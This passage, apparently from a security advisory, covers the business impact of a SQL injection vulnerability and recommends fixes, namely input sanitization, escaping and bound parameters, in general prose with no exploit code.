IV. BUSINESS IMPACT
-------------------------

An attacker may execute arbitrary SQL statements on the vulnerable system. 

This may compromise the integrity of your database and/or expose sensitive information. 

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker.

It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use subselects, or append additional queries.

In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions).

If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.


V SOLUTION
-------------------------

#Sanitize the input

It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. 
One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt.
Though it's easy to point out some dangerous characters, it's harder to point to all of them.

#Escape/Quotesafe the input

#Use bound parameters (the PREPARE statement)

Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL"
and a much better approach exists:Bound parameters, which are supported by essentially
all database programming interfaces
